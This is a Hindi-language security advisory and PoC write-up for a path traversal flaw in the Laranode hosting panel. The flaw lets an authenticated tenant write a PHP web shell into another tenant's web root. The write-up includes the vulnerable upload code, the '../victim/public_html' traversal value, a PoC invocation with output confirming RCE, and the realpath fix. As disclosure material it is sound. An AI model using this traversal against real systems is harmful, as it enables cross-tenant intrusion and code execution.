
Path Traversal -> Laranode < 1.2.1 में RCE (CWE-22)। PoC + सलाह लेख।
अधिकृत सुरक्षा शोध। PoC केवल रक्षात्मक और शैक्षिक उपयोग के लिए।
Laranode के फ़ाइल-मैनेजर अपलोड एंडपॉइंट में प्रमाणित पाथ ट्रैवर्सल एक कम-विशेषाधिकार वाले टेनेंट को उसके अपने होम डायरेक्टरी के बाहर मनमानी फ़ाइलें लिखने की अनुमति देता है — जिसमें किसी अन्य टेनेंट के वेब रूट में एक PHP वेब शेल भी शामिल है — जिससे उस टेनेंट के रूप में रिमोट कोड एक्ज़ीक्यूशन होता है।
| CVE | CVE-2026-100520 |
| उत्पाद | Laranode (मल्टी-टेनेंट होस्टिंग कंट्रोल पैनल, Laravel) |
| प्रभावित | >= 0, < 1.2.1 |
| में ठीक किया गया | v1.2.1 |
| भेद्यता | पाथ ट्रैवर्सल (CWE-22) → मनमानी फ़ाइल राइट → RCE |
| विशेषाधिकार | प्रमाणित (कोई भी कम-विशेषाधिकार वाला पैनल उपयोगकर्ता) |
| CVSS 3.1 | 8.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CVSS 4.0 | 8.7 HIGH — AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H |
| खोजकर्ता | Alisher Qarshibayev |
| सलाहकारी | VulnCheck · GHSA-34h2-2696-vfvr |
app/Actions/Filemanager/UploadFileAction.php गंतव्य पथ का निर्माण उपयोगकर्ता द्वारा प्रदान किए गए path और originalName रिक्वेस्ट फ़ील्ड्स को सीधे टेनेंट की होम डायरेक्टरी पर जोड़कर करता है — बिना किसी कैनोनिकलाइज़ेशन और बिना किसी ट्रैवर्सल जाँच के:
// app/Actions/Filemanager/UploadFileAction.php (< 1.2.1)
$r->validate([
'file' => 'required|file',
'originalName' => 'required|string|max:255',
'path' => 'required|string', // <-- attacker controlled, not sanitized
]);
$file = $r->file('file');
$path = '/home/' . $r->user()->systemUsername . '/' . $r->path; // <-- traversal sink
File::append($path . '/' . $r->originalName, $file->get()); // <-- arbitrary write
यह रूट केवल auth के पीछे है — कोई भी प्रमाणित टेनेंट इसे एक्सेस कर सकता है:
// routes/web.php
Route::post('/filemanager/upload-file', [FilemanagerController::class, 'uploadFile'])
->middleware(['auth'])->name('filemanager.uploadFile');
चूँकि path ../ अनुक्रमों को स्वीकार करता है, ../victim/public_html जैसा मान कॉलर की होम डायरेक्टरी से बाहर निकल जाता है और अपलोड को किसी अन्य टेनेंट के वेब रूट में पहुँचा देता है। वहाँ .php फ़ाइल लिखने पर HTTP के माध्यम से अनुरोध किए जाने के क्षण ही कोड एक्ज़ीक्यूशन हो जाता है।
आवश्यकताएँ: लक्षित Laranode इंस्टेंस पर एक वैध कम-विशेषाधिकार वाला खाता (यही वह विशेषाधिकार है जो CVE मानता है)। PoC लॉगिन करता है, CSRF टोकन प्राप्त करता है, और ट्रैवर्सल के माध्यम से एक सहोदर टेनेंट के वेब रूट में एक मार्कर PHP फ़ाइल लिखता है।
python3 poc.py \
--url https://panel.example.com \
--user [email protected] \
--pass 'Password123' \
--victim victimuser \
--webroot public_html
अपेक्षित परिणाम — सर्वर हमलावर के होम के बाहर लेखन गंतव्य की पुष्टि करता है:
[*] Logging in as [email protected] ...
[+] Authenticated, CSRF token acquired
[*] Uploading pwn_<rand>.php via path traversal ...
[+] Server destination: /home/victimuser/public_html/pwn_<rand>.php
[+] Verifying execution ...
[+] RCE confirmed: https://victim.example.com/pwn_<rand>.php -> CVE-2026-100520 <uname>
देखें poc.py। मार्कर शेल केवल id/uname चलाता है ताकि निष्पादन सिद्ध हो सके —
कोई विनाशकारी क्रिया नहीं।
Laranode 1.2.1 में अपग्रेड करें (फ़िक्स कमिट)।
यह फ़िक्स हल किए गए पथ को सामान्यीकृत करता है और किसी भी ऐसे गंतव्य को अस्वीकार करता है जो
टेनेंट होम डायरेक्टरी से बाहर निकलता है (realpath() कंटेनमेंट जाँच)। सामान्य मार्गदर्शन: कच्चे उपयोगकर्ता इनपुट से कभी भी
फ़ाइलसिस्टम पथ न बनाएँ — कैनोनिकलाइज़ करें और पुष्टि करें कि परिणाम किसी अनुमत बेस डायरेक्टरी के भीतर ही रहता है।
| दिनांक | घटना |
|---|---|
| 2026-09-21 | सार्वजनिक प्रकटीकरण की तिथि |
| 2026-09-26 | CVE-2026-100520 आरक्षित और प्रकाशित (VulnCheck) |
विक्रेता को ज़िम्मेदारीपूर्वक प्रकट किया गया और VulnCheck के माध्यम से समन्वित किया गया। इस PoC के जारी होने से पहले v1.2.1 में ठीक किया गया। रक्षात्मक और शैक्षिक उद्देश्यों के लिए प्रकाशित।